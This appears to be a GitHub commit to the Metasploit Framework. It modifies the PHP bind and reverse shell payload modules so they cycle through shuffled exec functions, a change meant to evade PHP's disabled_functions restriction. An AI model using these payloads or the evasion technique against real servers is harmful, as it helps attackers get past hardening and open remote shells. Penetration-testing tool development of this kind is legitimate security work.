Skip to content

Commit b7fff59

Browse files
jvoisinChocapikk
andcommitted
Use php_preamble/php_system_block instead of system in payloads/singles/php/
The `php_preamble`/`php_system_block` combo has builtin low-hanging evasion for PHP's `disabled_functions` configuration (eg. `system` might not be available but `shell_exec` is), so use it instead of hardcoding `system`. This commit also brings modules/payloads/singles/php/reverse_perl.rb's style more in line with the other uses of `php_preamble`/`php_system_block`. Oh, and it makes lib/msf/core/payload/php.rb work on older Ruby version as well. Co-authored-by: Valentin Lobstein <[email protected]>
1 parent 409b1ae commit b7fff59

File tree

4 files changed

+30
-11
lines changed

4 files changed

+30
-11
lines changed

lib/msf/core/payload/php.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -134,8 +134,8 @@ def php_system_block(options = {})
134134
}
135135
"
136136

137-
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen];
138-
shuffle(exec_methods);
137+
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
138+
exec_methods = exec_methods.shuffle
139139
buf = setup + exec_methods.join("") + fail_block
140140

141141
return buf

modules/payloads/singles/php/bind_perl.rb

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,11 @@
66

77
module MetasploitModule
88

9-
CachedSize = 230
9+
CachedSize = :dynamic
1010

1111
include Msf::Payload::Single
1212
include Msf::Sessions::CommandShellOptions
13+
include Msf::Payload::Php
1314

1415
def initialize(info = {})
1516
super(merge_info(info,
@@ -34,7 +35,14 @@ def initialize(info = {})
3435
# Constructs the payload
3536
#
3637
def generate(_opts = {})
37-
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
38+
vars = Rex::RandomIdentifier::Generator.new
39+
dis = "$#{vars[:dis]}"
40+
shell = <<-END_OF_PHP_CODE
41+
#{php_preamble(disabled_varname: dis)}
42+
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
43+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
44+
END_OF_PHP_CODE
45+
return super + shell
3846
end
3947

4048
#

modules/payloads/singles/php/bind_perl_ipv6.rb

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,11 @@
66

77
module MetasploitModule
88

9-
CachedSize = 230
9+
CachedSize = :dynamic
1010

1111
include Msf::Payload::Single
1212
include Msf::Sessions::CommandShellOptions
13+
include Msf::Payload::Php
1314

1415
def initialize(info = {})
1516
super(merge_info(info,
@@ -34,7 +35,14 @@ def initialize(info = {})
3435
# Constructs the payload
3536
#
3637
def generate(_opts = {})
37-
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
38+
vars = Rex::RandomIdentifier::Generator.new
39+
dis = "$#{vars[:dis]}"
40+
shell = <<-END_OF_PHP_CODE
41+
#{php_preamble(disabled_varname: dis)}
42+
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
43+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
44+
END_OF_PHP_CODE
45+
return super + shell
3846
end
3947

4048
#

modules/payloads/singles/php/reverse_perl.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,11 +35,14 @@ def initialize(info = {})
3535
# Constructs the payload
3636
#
3737
def generate(_opts = {})
38-
buf = "#{php_preamble}"
39-
buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
40-
buf += "#{php_system_block({:cmd_varname=>"$c"})}"
41-
return super + buf
42-
38+
vars = Rex::RandomIdentifier::Generator.new
39+
dis = "$#{vars[:dis]}"
40+
shell = <<-END_OF_PHP_CODE
41+
#{php_preamble(disabled_varname: dis)}
42+
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
43+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
44+
END_OF_PHP_CODE
45+
return super + shell
4346
end
4447

4548
#

0 commit comments

Comments
 (0)